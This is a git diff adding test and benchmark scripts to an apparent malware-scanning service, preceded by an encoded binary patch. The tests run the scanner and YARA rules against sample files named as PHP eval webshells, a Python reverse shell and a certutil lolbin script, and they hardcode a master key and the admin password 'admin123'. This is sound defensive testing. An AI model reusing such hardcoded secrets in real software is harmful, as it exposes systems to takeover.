z*u2(P@9;%Yr;cy3Z*oLQmIcJlB8eEfI!w%+HAP01=yRzuxNK#)d;i{#{g0pg;rIUV z&wu3q-e=h^Zqf11zGWenOu{0xCl<*&u@L8-?zE+$c2hajvf{m3fV`2g)TqMLN&+96 zM$+6GW$h9RNv?4(N%ou)F>@A{T`o3e*?AYaI=<=2*SzbUf8yO=`;BjV^QYfQ>bj}( zY0ETt{~-7))MoX zbKYbtE0~0mSC-874Q>wsW3#T1T2(W zIEnTV#33nS!2wRPfw&6!x!zyqSdBC-A3Zwm8CMGV`B?7DU1v6`_#GV+QK$YJysFGi zEE5aoe6-pP9(v^_Zx%<63oD9X*bpyjt0|Dptky$d6G^C z!fs^G`Qx8_{-=NL1Mhj?kN(Ur{4cq<$OqnO+qPS@rJT#npIIaeXO;tVl45pSjkSad z<{EsEiW$Q7CUmB9-8Cn!S7zp1jgyU1BFdEO`ie-}nDeo0#QflDzkl_nr(ge7U-A{- z@|ExUL!a@PcP<_yz4gcVZSXu`MAr-0RP#_ZKo$L=FJb+b{1voQ-)4bu-D7cQRV zq!%UPXmxx?XW_~A0CJCORiB3YqRtTSGejeJG1~=Dw(_KZy76iw1qLFCA}Km5+7)xM zXHIlYSI>RoBme3B|Mh2o;eY?yZ$9^lPk!nF?U{)vb1ku(MJ{u@vx0gh=-e+bZTc^> zNb2SJ^|pdKD;8m{xl3FtyyOz9c@*B6g>GLQ-tx@TU-PyO`!|NGDW^ap?SS3dTs z7w_#4cGd1zG`jEHIHEuF6A;G~X~=n~uc=2JBd9^z`Fi)`2^rXzgvyF)v?EX_BXQPT z;^Z?46%2q%zEzyU;hr;v6a}KLP;V7=JuyJd8aQ1rQfHjXBElY}?g)nT$d`VjBgU{4 zBc>H(6E*2dtK;m>Zq<-Q1gbeAx&h}nky9(em?8&MXjYFvIcev-E((-WxZKyXL5S(- zY`ziO*6lew;E@~q=FSn~Ao!+SpK7hFIhAX^g(MU2FWr0j`A@v?(T_j>Dgr{47R8{hWUw?F$C&wj=m-}2Tsz4;BVdFJt3w^*3?$R)0-Bwi-~O28C| zjo`g*zW^a&C<>e2(~XCDD&NCi(c&H)M^ zo=Erh%Zl}txCi9e%Fhv~S*zX)zi>(^Lhw`zgp}wB4wS4CB1$t+hgqvG{bF`^LFmB6 zWW%v4+$jEKWl=i;+YhHd~kpb#Q8nQeV9VH-R$2P%vyS^aj7Zv3DtBJg49Jy;5l3MYvK6QCC{`iKr{XmXN}Yq+E1RYzu19lt&TXcoRuk za$+tX%&UBLE!X?;YR~(=OR0*#OC~N6nj*rIE62^0Yd8!LI*X+0xZ`^JPvVp|X4=wr zxHw!K4!19FU(#XYLj^lCGfB?0m4fI*bSNp+37PN-U&cbzmH#=mzcJwndQV5zH@a1) zmIVtFmjDxHNksx=$yaiH|LW?&gZsyPon@CSIqLyty%=1oAGjCYF0q$6XUS9(NNA^i zN4fMu9f?y)hlAX@ynW~L&SSTqynXT51#PLGuu3(GYgA?_!q8%t%0M;AY=V%Ls3W1H z7j+$VuFCMZmq$^jM4M^KzEsqqVmcn>T-OBWK%x2arPszet794qmz4JuW~_&zSi?N6 zF&MYqIzeOZy>wCR56rMH78Y@OS$W^8RQ&_^X*V*a0}=qGbr;L^g9#>vK&jr5iIR%P z=Cc@q8WA!EjEq3(w6&JMx^VXhT{EEEO1WTMGb?t)Q#yA|kUB~Q@vMgyNMtZWMxfN) zRzD3NY{>v5L8&6BwqFc1DlzaRL)f%daZ3`!3E<@qx!sWGl<1^YOvQF&T@+SjNVO}M zao;O(s}GIgNJ(gCwp<(2>_oFRQRrblb$5xuatTSMk{l_*RhDs0tEj8o3SL)vh|EIE zGi&%_Cta>0u)LI;kBt4+*4e0$*25q-uBUoh3X)B+L4Pofd51u{{qkOhsxEr&RZMx8 z8|pN|VJ}xReY(>JzFZDLWU%TmZJCL#rPa$7>8Wg-@Hn9MZ3~iY!3VPQcl^1PN2#x< z)Kq;MoqKDb8YK&|pc(rL`MI?H7;@dM^(6o*EUhw}dbG^0_WKQmR6E9M60%Y`e7kER zVv%m^yeSU~45P6-dJD_X$@@sVXFG@ztS>mG?7yql5|(R|_8+I^u^G9KXun0ay<-*; z(%I!4C_mi+sP<`-J4gm1(~9nIvE$pS(>e&N*lQ)^WEObsCfSb1kS7WGWi_AFj^(y3 zYvV}chg}En=0YPO8`H&ZT}F1ML*k0S{BThS^S4l7QxxtFq|(7O4BnEHPFR{Ur0-_I zI3R~=#t}w=ZC1JckC@+>iTb6q4WICaH+mR;<%U4_AwyT~52($drkkNbb5_{|VBbC* zuCfOfM#M}+CmJ0`>S5Szs9-OnvKxIi;C^KP#EvMH%m3H3!v1m}*dof@COA-$`4Ip#^%NCS_w%Itzcd@pyN6z*lZ3Hvg_ zzF=6ol**m4R0_zYE}g+cFS^@|>Z)dFVD>qzuQ_`J-3&NA<$HJ_f~>EpCh@oC>}$c# zJJpR0>P&vV;Mn%%8w)8uSW0TMBr;5#b^Y+fvXQLlkv;Y$Kxno{pkn9U1a;T5LaBfV z!qITfKr1m&Y=ElPOzOuSD(6J2jE@MZCcjAHo=EGW@`^#(wxR$9$6(=^pK1^8XsvAq z4nfwPiP|NgsFO?2g%CuDMrSc1ANZQ6Rt5WQ!ARX*5HbS_gqFtm&4B_a0H_&4 zx{BXHwi9cP0Yg9IO1)aEJbRFIb()jCT>0ir*_U*YBkdPX=7qk6HM6rjkg49Jh{hKB zX3k`N7RDfiA~!~_OW1U*TH)PdOd9K(@?@GIg!@0&3~B*Xx5^@p{m4SfT6Ha0$ZAQ= zx66n)H`hfGse)WhDwu&f3%nU$9u46%^mUaX!&&9#Tko!e690S(sHP=}_quT31JyCo zL*pI}D8Z8>1j>OdjeQFMWe4;`uU>mJM@luX^_KPpm6<&c<(e81Zm8LOZpywozhc%?;n2j+ z%(XmbWO^8I-CGIE4$BY0_ORmX18Em*zZYB3C}u-=JuM(h8_ z=ha;)M1{82O!oHYIbwc|(lgmtspCAhs?|O|Dqv9cbbaRt>5S*(!;wzBHn7$!wPZ5h z`5g9LvcCDyk1nL#ty)D?_=LJxZ?_;=Pl|RmyEL$X!5^r7dJ8K zxq8hJQfu25Q8pk8HK{U~9^mPMj5Eiq9c*&R1_F+w9FdKR#%KkZdf(NB^%@Tkf8mRI2kaW)=>?SH;Mm?vlw=nZ~EeO^%h;qjLh&XxEY=Ale`-nQ_HED3REZ5Q4qgHo%x(xDdhW|FR%#-SpyY~Y=OGrO0DEOP6uj{BrhWAn&08!{6dH4}!?eeaX988;bltP8 z$VKZX^&+#DPOcB1YrWi<^kCifAsVrVOl6HidmK#Yu zt8G5L5W%AF7?TPAUR=)Ezc}lwq0fuH=KxhoSC?oyZW?B8Cl=%UP7*d2f*KzsU40G5 zeguSApo{@@gO!R}k)q;>y(+8hzH5KfVz4GSD=*jLO!gHnR_%+$Q0xmE5gGrs85?<~b$M$jT*PeL55TLQwc=pzJX(FFY#n zLJ*maq(665dZNL;%T?~q`ja{x>gmcxCp)wLcjjzdJgVkDL|-~JvG7~=x^|Wo>Glx2 zna&ihloIw1@0=nDGs*K2q8Pw1g!M|DPXlA$hhJr8yhA|2oP_5L2M`k`b0+(85$z#p ztwYzFQ}Ya=8WGJiW>6jj5OD^~ZP76X3iD9s@qmxS&(8-+*@GCMW_=$)NR?a2x&L2* zt+HCJvf+pWJz%4K;98x15N62h<5UUva<=s5uF6HLLL#6_xATDNX@4YoIu`;ZG7zy! zszUZ1C=ud*4`KNYquw1*+R$$K!E$0kkRpnuL*_umI2m!Ut19jd?@ld%VSjQ6fw%PI5sJ8q_Qd3&1;mBr?V41AMrLsX!~ zmBPv$vvqWl>kgvEr)^jYtG7nB`ZFY=VQVBsbS8KKHJ)NH){AMJN^!0gtkxip0huTH zxf18^9Y0@l>_-(+hpuxQvC-EC>!P3SKI6o!<{M_VqyzTqm1W{-(L z1r0X;W2YLjxpVA~=)k`(fNrh1rZr8&(!SF;y?S4O;QLAg=tvkqV|#Gp&>pW8?zqw5 zCeupeN;&7=GWhWHN`**6Mi$O3((ZlVaO9dVJURGW_jL@EO(%w|QP13(kT$XqTg9(q z40p*0Dj~DO-Bd16m3c*KJR#dX6Q=*FddDeieXn<%YTIm`)a>Z) zQ9!Omlb4nRl==75Q|~KBgS_g|@Mk`y%>P0mE!OZ(q|vjE{M^MC193jmN`Px9UmoQopj4A0U;U*3e3$1JhkIsaS2btjv7I zI|p#*9?jq3l0u72|-p-2f?Z%wSu$E)?@w zD_%P{ej@bk%%ehRE!f7v*R7{P9t#W;l`FXxolgSALiIQrLYL2kYfReHPn_(&aA%ck z7D|DY36JZ`IHu9K_pp%C8PCj0dDK=s_zWvPAVM;1neoY0BAzR!&)iVs(=ayOG#D0p z&PwU+oip5>yxub!dA7Y^+JTTe0TlXO-Gjem&=O`sdN$7DiLxQ50pUeRGl!pGw>_oa zyXN0ToaZ^mM$O|)3Valfy(ZoB`T5!uc~l{#*N*U{`;6$DZ4nDLG+w`~A?zp0YwSDfma2y+5|P zI07<1h9y5lu``a0Bg|^&0E8zzxl%N!24wj5Nsvw4v+8H9EW$W!J11o~K45zgJdE&) zeVN8BO?^w5vvpT~-xN+-Z+9tY16e}GGTn;V$ttRuE6fja+8?srQH1X5GWA2&;|_S8>W z>;6*DMw9!fpNy?0F%soEw!*IKnliV#lsc5EGL2A7pxSKO%hnTwjk+LSnmVGUaUYDL z5UP<-%0OA`!MFK$pcEoJF1`6mbta5!(P==sNSIh-qW`1GLYpo&poJ>B>Q%IZFc=AY zy%r}{D)s%MpY9tRQ*vkJyQ)-%SPFQdGv0RiB-R=eiuN)unHwzqicvfq$A){DXs;e=Fs;m|rSjvN(bN78$?Nb|UPXf2i!wrX(@sz3@Ha30wVLJ%mW13W#wDNxFyb!4$XwI4~M z)&ETKs_VuMvi73vu!QKSaU7e)B9?MrL)yW&38n|L!TGAk!7F(U5jkaw+O?pR7KO2 zN+C++s`0kiD3ifzOVY`^M5vcV_4K@C2kc)s@d$yNPuCh)*afD9w;<5|(a`Lmf z0Z@;^u@kgTK(2oxKX*5%%m{m3Lg=A|RGr4bzDn(5i^rXLhPiuq%)1S(YzPz^>qJsR zy?fl{aH;(_G>V-oW)2kNw8Jy`HOM%(g|-`pFgS#aNtX``6ghN_Kq(H-0eSX>Qc7o4 zm;$^LvdTeaUp{!=8AiCcLM_;ah1@0|t7JR2qG_lca6x`_Myoy{VV~KGPd(2F%s&o6 z27%=KU9)#*t?}CqSK~loybS7&Di^sXbQ(m4H^s~dJKQxq{A00FE~zm`%ne6duj4Rw zCA9|EW|IX0bYT?6Hwkg(Tteh4Aes6S_{8laOa|FgH>q3p6ztlZFQ z*h>2+B2I1dv8b_wB-+e9iBi91J)H6Wb3lz->m*R<;VeTX_%u2kmgb`a$~e$Kccaa+ ziM6%vG{KWVA-|pjh54$uQbC3(POr*lvr^JZz(gx0gaHe!n4#ekSOW+b(K;mh$ccN3ID(9+))@w0%j%OW1zXkh zWz)({$MUQ%WM3YS?Z2bC41IgrI|4OleFkYGKOevDCMo@r-iPPsr+_m2{0yKTN=O~r zL}gHa1Xz{Wp7u2}Gwxkji)KNbr*>g2CIl{vu3g&Hlk$tSVCd@SU5gf1LxJHh8T6(F zP>uW30;tk@Y=pRhf8PN`J;@C7Z-}M3U%0y7g5oLKcVLUt@-g^d>ljg>cmS$i!fqK; z)yv?}!j#C{t!tP17tgT(q67^qkKI;;hb`@)kT698dr5iN4{YAl$#(*#HUdi(21>eX zty5D8Q8yp`Dh^}eN;TnHg-Rt|X>sjs#t4*4>OxY{NnqS&HmXnjsKjOeyQ2#8#a4HQ z9N9EZUC3UGUFi{{+3CuW(7xH2iuPgAC0bR^IsM$DJ3SAq4~2?jZX@i_OB5(&GRnR* zIzxfl0CoDNYMeWK5rNtxpj>c3$j=*AJy7l+gL;8L3FM-T{QNXfH{$2#0JRoUMsgou zlbo4|ep=15`!iR{c6s~tX}6~{avA-K9u(Qb-nit1`vnZ0vw%Xw$h`#YL+spwVgzs= ztJOq|YbcW>;#|uK)y~pKK+VQ`1}3wQ5wcz>6?pjaqQXLpC=;x=)H>=am)QnPcKp5$ zaefVsv9J4tJ4ck(9z}LZz@Woe+v{f5kZe-p+Js{ zm{%DtYCTDu=H;Gfr8GTf(jQDl4_uefMOt$y4XY8$!HCFG!uwA3;C~jCJ(*t2`ka>O zI?i&vf%W%#E_%*w10xyW)R2wNTl7Qcvo9z4P=udJy6c=dEmBG5bv&+d=4G*`9s3(D{l`@c+TzaD`LDH=^QgZ1cEq8=;Bc{kmsflZ>)y1%&z)cV`&73P9 ziFVGs0?J7Rdk|%G8hl|!l*n!}NFAM6coO5f&%7LJYc_CrY}F_Ee{-ExyP$3;@r)m1 zhWyCA^>v5&c*-(I$XP3Ogv0zMGJIh$Hv-1UWdjS37>FiDj@Mvou*#Za6Q!WkPdA*E zf9ybJLOrPf!NCBBq(IeZTEEjz?h9C{DcMi3apJ-X-J90~`x{U)t#nmSQPoj>WDK z7PcP|;NT?C$@t8G|;zIIb ze}O?3yhh*(y0}8|8YnS9HM1Qmpu2@s3j>`(>1>4HG5cZY(_XOcKtW%J(!ds=L#5yn1#EwsqhylCNnZ69;7A)?*R7nJKW?Ptu1?o=TiZ%Aom`$EK!Wa|ZRmDX{P!D(d8 za+;F;Li-CiMSp+2lK%t;3*Zv)8 zO^_L`GKD)Pw2Ee*XIVAt(P=AO$jD@+4j{t-9sNtPKS8<+Y>!9U6cQ@ML9Qp{hE|u^S;8$q$LPoU`(Pnsb0U$cypst1t%EjImJOHnfWJx(g&SUHnw646yF>u7m7)G zRxv2{UiO$0d%c+K0w}jqX9BfesgRN3v^U$gYGM6+v1$oAa)SJdH2fn13Ti(RyYe5X zTVOpD4r#!Y9%cV8Jws}+idNij{MW@ak*?U96k|aOhKa@KvJsDZB&O1O zT@R%#u`M6dd}!;w#Zl?9qdFw;PpB@$?u*WsnBXY112vJ~Gy23Gf$VE7zsJ7%Wc!`6 zld)P#`|pZta?_GgT761F9piP&59dGZCpa6AU_P>JCmQ^2q zGp4JvR%KjJ3|Y|JC*bS6P~9p%fn&1DGv=19Y)ekKBPgl}OqPCh`~`)SzF|=b-0EYM zjdBJ2x~PN;E#@mr$`C`Z=sz@u|52*!8#tRV2 zk7IWN!M|W%r|Q~NNwpof^4 zo`{~)mxsO~J8(d)>o1J@S`!1-=ib!SR5T@bznz(7Egv%)XUoR}H8zI@V$fOPUUt8< z_eU1Y6zmMLy+pc%#Nml2ysYAm4g6tb}yXLbD{A> zQHjW3bYkSe`xXwcespeU^!3UB$1Bx+6x=q3j0k7dKZt}&4auUKHEX-gtaV{kS**Sv z&o)J?yu{~pm9^Q$BCX4R=$~QO)Wfkp2iIu+LcF&{Qj>w<#>cqAL_#gFU~!1>>H;;6 zb7LWOup7ypA-Dh2wxTRnxF^ez<=AZ_`Av>D@ zrITk=*=$&_2MVQ~Gh9@E9D!m;wc-9goFvyZwSD1sI!8keD2Q02RzZN_>-bRt*1$^U z&cH=_ut1GILvEJ@DG%#+uY;N5iPIg64$Gt-EmIc3wc>*=8r`By@ty+VtQDu)56z5l zLe2^y8Lb}#$_0<<46#dNI*gbH^7F;A#n%up8b;Tv+VOoqP+{G_-W0}vsE>UHlv}B; z>rkiQ9^P$Q3!Qa+F4;T;WkGdJuAy4+t-j)7|GRRik|A9JJ7e_ zfr5K>$Bp3EsPXjhC>qZT-2PHlpp#L4j!Q{Ia%dK}a$ZewS3^?$+PM{pDKBgt5d_5A z3yZWV%3)Z}!L=&7LmOrZi%Qt_X5E&sNQ(5Hdw&Wj-#T8}8v!MuZO2e8B@IAPSmt07 z2sf(mijWW}6lS?&fb{a^&58j{Np7fSt?Y0HP=qQ=YvnO$FpDtPWI5+%QHTmG8<0fj z*TDL*3UF&R>|vIZDui}=OfYkz7lD!StXk`N4p0Q#Mtgk@fjQUF& zoN1*h3R*uH5LlRksse>`nN3j{fR@CY*7igl+$~c>2&2zAH$-SKFmo*ul!-I3uwD=r z=otwZu1eydh5&c$jhZEBTBZwEWvdpKiO#kaC~>SnR|>zFJNebL=*>E-luLxwQe4Fx zye@z(&ZSQyC`scAE-qM~{(1y}xz)$ff+lEDq*i(+G{`d7xF2Cw6TJVIIoFOIGyX0% z@LLT8(IdR64Zs1XauHeD5H-RlQ&PMJvmd4+P@?kj}DX_1huDeaKnz*Kw%I8ngtFh>3^+(($;f< zLUGk>mw@Z(%Zp^evChEyqllcw3WrZiVPW-P&jZ!`oKBVPdOf>>7x7GHDX!{GIWs>} z!LeohER*k3ndWr5Cv=LOT&di}1MT(}1#W!vOrTJcSbWz2)#Nuc1wbje5}FOs;7DEL z3ujiYh*+Ph#T;=Me+Pnt*Toa|)VgMr#!QuslOTy>aa{!(x%A>m<$O-MUcw!zZA4J) zxgJ}TKUiH0JV-k>|I_#5h%Ws#G3DVpXjO}67v0do1ocVNg+=8AO4=f*#Td5JXR8!e ztFbtvVI$Q64MSPy(lU$zS_Gy0Ohnf}5E#a$b$2XKef$~7CuLp(suy>#XVik%aScb6 zW5RfOj9GTHRPMZ&sz2J;JjzC}#p@WZ7sCko6i}1a;BlDT?dl^eT5t$GkhZ%lTjK|8 z+@OncHwSVvbmMAa6@<3a!Iubj6|8cqBgQLLoF!?}I>N%$&{P*oZ>noyokbzYYjn-h z?OVmd`WG-twPU)!S8E&kIoJXy?$dkUlIB6?6(FZp*Bf;+CTW^+vnL!^als3TB*T_* zGfdGs&Lm&EJ>2YN%LmZ!Vp^poS44w%r{!)JOXqn|1Bi+@MM|{_)YY_AZ5ZnY2n3SG z{;=-l@dgd9_F}GaYTQ-=KgmP(8!^)+9bL%oI*i=?rQCN`VIaLu5Ljj6v(z=&pq+|q z0JlfYq&0r*JCK0{NLPEJ$3r)q>I*0vSYu+t z4Ti`qHmbtX(|)BZXM^s7CK!B?L8I!C7I??gVlQ(iJim_4Ds`C;{dli#7Zc>M5e5SE zqOGQ4i(>~;g)UGR#Q2U;!upbwy<6we7p zhgwhdReS*F%vP6QOfn>-(KEAF2i-~q0}fd2)-!5bc959wLuBt6t7K+~PxvRBzq#F; zaOx}3JZ4mltz*#;Ct7BYzd8ePvRtM!#~-_bfSe_vqkyO+{x7sQ)q8 zE6!ma&U4}a*G)9iUWZ7%Bh7jXr-u3YihZiL(;+$6zB+Z3N~a zXjbxxgZCV2Se#?O@eq6cNtY#rMl tOnTRDJNh1%%*yX^L|pnQf%N_R{{W>9OaQAFy~_Xq002ovPDHLkV1i#Y+|2+0 literal 0 HcmV?d00001 diff --git a/tests/_debug_scan.py b/tests/_debug_scan.py new file mode 100644 index 0000000..5e8c909 --- /dev/null +++ b/tests/_debug_scan.py @@ -0,0 +1,32 @@ +import sys, os +sys.path.insert(0, '.') +os.chdir(r'd:\project\MeshSafe') +# DB_URL 由 .env 或 compose environment 提供 +os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=') +os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml') + +from app.services.scanner import Scanner +from app.services.policy import PolicyStore + +ps = PolicyStore(policy_file='config/policy.yaml') +scanner = Scanner(ps) + +files = [ + 'tests/samples/shell_php_eval.php', + 'tests/samples/pe_injection.exe', + 'tests/samples/normal_readme.txt', + 'tests/samples/normal_deploy.sh', +] + +for f in files: + print(f"\n{'='*60}") + print(f"扫描: {f}") + outcome = scanner.scan_file( + file_path=f, original_filename=os.path.basename(f), + task_id=f"debug-{os.path.basename(f)}", channel='test', client_id='test', + ) + print(f"verdict={outcome.verdict} action={outcome.action} score={outcome.score}") + for fi in outcome.findings: + print(f" [{fi.engine}] rule={fi.rule} sev={fi.severity} weight={fi.weight}") + if outcome.meta.get('engine_errors'): + print(f" engine_errors: {outcome.meta['engine_errors']}") diff --git a/tests/_e2e_final.py b/tests/_e2e_final.py new file mode 100644 index 0000000..9325d92 --- /dev/null +++ b/tests/_e2e_final.py @@ -0,0 +1,113 @@ +import sys, os, time, hashlib, tempfile +sys.path.insert(0, '.') +# DB_URL 由 .env 或 compose environment 提供 +os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=') +os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml') +os.environ.setdefault('MESHSAFE_ADMIN_PASSWORD', 'admin123') + +# 等 uvicorn 起来 +for _ in range(15): + try: + import requests + r = requests.get('http://127.0.0.1:8443/health', timeout=2) + if r.status_code == 200: + break + except Exception: + pass + time.sleep(0.5) +else: + print('❌ uvicorn 没起来') + sys.exit(1) +print('✅ uvicorn 已就绪') + +import requests +from app.services.scanner import Scanner +from app.services.policy import PolicyStore +from app.db import SessionLocal +from app.models import ScanTask, ScanFinding, IdempotencyRecord + +ps = PolicyStore(policy_file='config/policy.yaml') +scanner = Scanner(ps) + +# ---- 1. 控制台登录 + 页面 ---- +s = requests.Session() +r = s.post('http://127.0.0.1:8443/console/login', data={'username': 'admin', 'password': 'admin123'}) +print(f'\n1. login: {r.status_code}') + +r = s.get('http://127.0.0.1:8443/console/') +print(f'2. dashboard: {r.status_code}') + +r = s.get('http://127.0.0.1:8443/console/policy') +print(f'3. policy: {r.status_code} yara_tab={"panel-yara" in r.text}') + +r = s.get('http://127.0.0.1:8443/console/tasks') +print(f'4. tasks: {r.status_code}') + +r = requests.get('http://127.0.0.1:8443/health') +d = r.json() +print(f'5. /health: status={d["status"]} yara_ok={d["engines"]["yara"]["ok"]} clamav_stale={d["engines"]["clamav"].get("stale_warning")}') + +# ---- 2. 正常扫描（首次）---- +tmp1 = tempfile.NamedTemporaryFile(delete=False, suffix='.php') +tmp1.write(b'') +tmp1.close() + +t1 = time.perf_counter() +outcome1 = scanner.scan_file( + file_path=tmp1.name, original_filename='shell.php', + task_id='e2e-idem-001', channel='e2e', client_id='test', +) +first_ms = int((time.perf_counter() - t1) * 1000) + +os.unlink(tmp1.name) + +print(f'\n6. 首次扫描: verdict={outcome1.verdict} score={outcome1.score} findings={len(outcome1.findings)} took={first_ms}ms idem={outcome1.meta.get("idempotent", False)}') + +# 验证 idempotency_records 表写入 +db = SessionLocal() +idem_count = db.query(IdempotencyRecord).count() +print(f' idempotency_records 表行数: {idem_count}') +db.close() + +# ---- 3. 幂等二次扫描（同内容 + 同策略）---- +tmp2 = tempfile.NamedTemporaryFile(delete=False, suffix='.php') +tmp2.write(b'') # 完全相同内容 +tmp2.close() + +t2 = time.perf_counter() +outcome2 = scanner.scan_file( + file_path=tmp2.name, original_filename='shell.php', + task_id='e2e-idem-002', channel='e2e', client_id='test', +) +idem_ms = int((time.perf_counter() - t2) * 1000) + +os.unlink(tmp2.name) + +print(f'\n7. 幂等扫描: verdict={outcome2.verdict} findings={len(outcome2.findings)} took={idem_ms}ms idem={outcome2.meta.get("idempotent", False)}') +speedup = first_ms / max(idem_ms, 1) +print(f' 提速: {speedup:.1f}x（幂等跳过了引擎扫描）') + +assert outcome2.meta.get('idempotent') is True, '❌ 幂等未命中' +assert idem_ms < first_ms, '❌ 幂等应该更快' +print(' ✅ 幂等生效') + +# ---- 4. 限流（内存模式，client_id=test）---- +# 扫描接口需要签名，这里用 memory 限流直接测底层 +from app.security.ratelimit import _memory_check + +# 填满窗口 +for _ in range(60): + _memory_check('test:ratelimit_test', 60) + +ok = _memory_check('test:ratelimit_test', 60) +print(f'\n8. 限流测试（61/60）: {"通过" if ok else "被拒绝 ✅"}') + +assert ok is False, '❌ 限流应拒绝第 61 次' +print(' ✅ 限流生效') + +# 清内存窗口，给后续 run 不受影响 +import app.security.ratelimit as rl +with rl._MEM_LOCK: + rl._MEM_BUCKET.clear() + +print('\n=== E2E 全部通过 ✅ ===') diff --git a/tests/_yara_check.py b/tests/_yara_check.py new file mode 100644 index 0000000..dd82a70 --- /dev/null +++ b/tests/_yara_check.py @@ -0,0 +1,42 @@ +import yara, os +os.chdir(r'd:\project\MeshSafe') +rules = yara.compile(filepaths={f: os.path.join('rules', f) for f in os.listdir('rules') if f.endswith('.yar')}) + +# 测 PHP eval +import tempfile +tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.php', mode='wb') +tmp.write(b'') +tmp.close() +matches = rules.match(tmp.name) +print(f'PHP eval: {[m.rule for m in matches]}') +os.unlink(tmp.name) + +# 测 PE +pe_path = 'tests/samples/pe_injection.exe' +if os.path.exists(pe_path): + matches = rules.match(pe_path) + print(f'PE injection: {[m.rule for m in matches]}') + +# 测 PHP 文件（用真实样本） +php_path = 'tests/samples/shell_php_eval.php' +if os.path.exists(php_path): + matches = rules.match(php_path) + print(f'shell_php_eval.php: {[m.rule for m in matches]}') + +# 测 python reverse shell +py_path = 'tests/samples/shell_python.py' +if os.path.exists(py_path): + matches = rules.match(py_path) + print(f'shell_python.py: {[m.rule for m in matches]}') + +# 测 certutil lolbin +lol_path = 'tests/samples/lolbin.cmd' +if os.path.exists(lol_path): + matches = rules.match(lol_path) + print(f'lolbin.cmd: {[m.rule for m in matches]}') + +# 测 normal_deploy.sh +sh_path = 'tests/samples/normal_deploy.sh' +if os.path.exists(sh_path): + matches = rules.match(sh_path) + print(f'normal_deploy.sh: {[m.rule for m in matches]}') diff --git a/tests/benchmark.py b/tests/benchmark.py new file mode 100644 index 0000000..5b3bdec --- /dev/null +++ b/tests/benchmark.py @@ -0,0 +1,661 @@ +#!/usr/bin/env python3 +"""MeshSafe 并发压测脚本。 + +用法: + python tests/benchmark.py # 跑全部默认场景 + python tests/benchmark.py --concurrent 50 # 只跑 50 并发 + python tests/benchmark.py --concurrent 50 100 # 跑 50 和 100 两档 + python tests/benchmark.py --batch-sizes 10 50 100 # 批量档 + python tests/benchmark.py --base-url http://127.0.0.1:44380 + python tests/benchmark.py --report out.json # 额外输出 JSON 报告 + +原理: + httpx.AsyncClient + asyncio.Semaphore 控制并发数 + 样本从 tests/samples/ 自动扫描，按大小分档 + 大文件（5MB）现场 os.urandom 生成后自动清理 +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import os +import random +import statistics +import sys +import tempfile +import time +from dataclasses import dataclass, field +from datetime import datetime +from pathlib import Path +from typing import List, Optional, Tuple + +import httpx + +# --------------------------------------------------------------------------- +# 配置常量 +# --------------------------------------------------------------------------- + +DEFAULT_BASE_URL = "http://127.0.0.1:44380" +SAMPLES_DIR = Path(__file__).resolve().parent / "samples" +DEFAULT_TIMEOUT = 60.0 # 单个请求 60s 超时 +WARMUP_COUNT = 5 # 预热次数（不计入统计） + +# 大小分档（字节） +SIZE_TINY = 2 * 1024 # ≤ 2KB +SIZE_SMALL = 16 * 1024 # 2KB ~ 16KB +SIZE_MEDIUM = 100 * 1024 # 16KB ~ 100KB +SIZE_LARGE = 5 * 1024 * 1024 # ≥ 5MB（现场生成） + + +# --------------------------------------------------------------------------- +# 数据类 +# --------------------------------------------------------------------------- + +@dataclass +class SampleFile: + path: Path + name: str + size: int + size_bucket: str # tiny / small / medium / large + + +@dataclass +class RequestResult: + idx: int + start_ts: float + end_ts: float + duration_ms: int + status_code: int + ok: bool + error: Optional[str] = None + files_count: int = 0 + avg_file_ms: int = 0 + + +@dataclass +class ScenarioResult: + name: str + concurrent: int + files_per_request: int + size_bucket: str + started_at: str + finished_at: str + total_duration_ms: int + results: List[RequestResult] = field(default_factory=list) + + # 聚合统计 + @property + def total_requests(self) -> int: + return len(self.results) + + @property + def total_files(self) -> int: + return sum(r.files_count for r in self.results) + + @property + def qps(self) -> float: + if self.total_duration_ms <= 0: + return 0.0 + return self.total_requests / (self.total_duration_ms / 1000.0) + + @property + def files_per_sec(self) -> float: + if self.total_duration_ms <= 0: + return 0.0 + return self.total_files / (self.total_duration_ms / 1000.0) + + @property + def latencies_ms(self) -> List[int]: + return [r.duration_ms for r in self.results if r.ok] + + @property + def avg_ms(self) -> float: + data = self.latencies_ms + return statistics.mean(data) if data else 0.0 + + @property + def p50_ms(self) -> float: + data = self.latencies_ms + return self._percentile(data, 50) if data else 0.0 + + @property + def p95_ms(self) -> float: + data = self.latencies_ms + return self._percentile(data, 95) if data else 0.0 + + @property + def p99_ms(self) -> float: + data = self.latencies_ms + return self._percentile(data, 99) if data else 0.0 + + @property + def error_rate(self) -> float: + if not self.results: + return 0.0 + bad = sum(1 for r in self.results if not r.ok) + return bad / len(self.results) + + @property + def slowest(self) -> Optional[RequestResult]: + oks = [r for r in self.results if r.ok] + return max(oks, key=lambda r: r.duration_ms) if oks else None + + @staticmethod + def _percentile(data: List[int], pct: float) -> float: + if not data: + return 0.0 + s = sorted(data) + k = (len(s) - 1) * (pct / 100.0) + f = int(k) + c = f + 1 if f + 1 < len(s) else f + if f == c: + return float(s[f]) + return float(s[f] * (c - k) + s[c] * (k - f)) + + +# --------------------------------------------------------------------------- +# 样本加载 +# --------------------------------------------------------------------------- + +def load_samples() -> List[SampleFile]: + """扫描 tests/samples/ 下所有文件（跳过 index.json 和 _scan_results.json）。""" + samples: List[SampleFile] = [] + if not SAMPLES_DIR.exists(): + return samples + for p in SAMPLES_DIR.iterdir(): + if not p.is_file(): + continue + if p.name.startswith("_") or p.suffix == ".json": + continue + size = p.stat().st_size + if size <= SIZE_TINY: + bucket = "tiny" + elif size <= SIZE_SMALL: + bucket = "small" + elif size <= SIZE_MEDIUM: + bucket = "medium" + else: + bucket = "large" + samples.append(SampleFile(path=p, name=p.name, size=size, size_bucket=bucket)) + return samples + + +def pick_samples( + all_samples: List[SampleFile], + count: int, + bucket: str = "mixed", + with_large_placeholder: bool = False, +) -> List[SampleFile]: + """从样本池里挑 count 个文件。 + + bucket: tiny / small / medium / large / mixed + with_large_placeholder: 如果 bucket=large，返回一个 placeholder 让调用者生成大文件 + """ + if not all_samples and 